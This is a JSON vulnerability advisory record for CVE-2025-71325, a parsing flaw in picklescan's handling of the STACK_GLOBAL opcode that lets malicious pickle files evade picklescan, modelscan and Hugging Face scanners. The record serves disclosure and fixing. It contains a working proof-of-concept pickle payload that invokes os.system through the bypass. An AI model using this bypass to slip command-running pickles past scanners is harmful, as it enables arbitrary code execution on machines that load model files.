{"id":"CVE-2025-71325","aliases":["GHSA-9gvj-pp9x-gcfr","PYSEC-2026-1788"],"url":"https://o3.security/vulnerability/CVE-2025-71325","summary":"picklescan - Detection Bypass via STACK_GLOBAL Opcode Parsing Logic Flaw","details":"### Details\nThere's a parsing logic error in picklescan and modelscan while trying to deal with opcode `STACK_GLOBAL`.\nFunction `_list_globals` when handling `STACK_GLOBAL` at position `n`, it is expected to track two arguments but in wrong range. The loop only consider the range from `1` to `n-1` but forgets to consider the opcode at position `0`. The correct range should be `0` to `n-1`. Attacker can put arg in position `0`, thus the parser can only tract one argument. Then, the exception https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281 will be triggered. Thus it can cause detection bypass since the malicious pickle file will trigger unexpected exceptions.\n\nExample:\n```\n    0: S    STRING     'os' --> arg 0: STRING (untracked argument due to wrong scanning range)\n    6: S    STRING     'system' --> arg 1: STRING (tracked argument)\n   16: \\x93 STACK_GLOBAL\n   17: S    STRING     'ls'\n   23: \\x85 TUPLE1\n   24: R    REDUCE\n   25: .    STOP\n```\n\n\n### PoC\n``` python\nimport pickle\npayload = b\"S'os'\\nS'system'\\n\\x93S'ls'\\n\\x85R.\"\nwith open('bad_pickle.pkl', 'wb') as f:\n    f.write(payload)\npickle.load(open('bad_pickle.pkl', 'rb'))\n```\n\n### Impact\nDetection bypass in both picklescan and modelscan. Note that it also affects the online hugging face pickle scanners, making the malicious pickle file bypass the detection. \n\n### Fix\nTo fix the range here, change `range(1, n)` to `range(1, n+1)` to ensure that `n-offset` stays within the range of `0` to `n`.\nhttps://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255","published":"2026-06-17T15:05:00.840Z","modified":"2026-08-12T03:51:43.780900042Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"picklescan","fixedVersion":"0.0.27"}],"fix":{"url":"https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f","label":"mmaitre314/picklescan@2a8383c"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71325.json"},{"type":"ADVISORY","url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9gvj-pp9x-gcfr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71325"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/picklescan-detection-bypass-via-stack-global-opcode-parsing-logic-flaw"},{"type":"FIX","url":"https://github.com/mmaitre314/picklescan/commit/2a8383cfeb4158567f9770d86597300c9e508d0f"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/commit/58983e1c20973ac42f2df7ff15d7c8cd32f9b688"},{"type":"PACKAGE","url":"https://github.com/mmaitre314/picklescan"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L255"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/blob/2a8383cfeb4158567f9770d86597300c9e508d0f/src/picklescan/scanner.py#L281"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.27"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:43.780900042Z"}}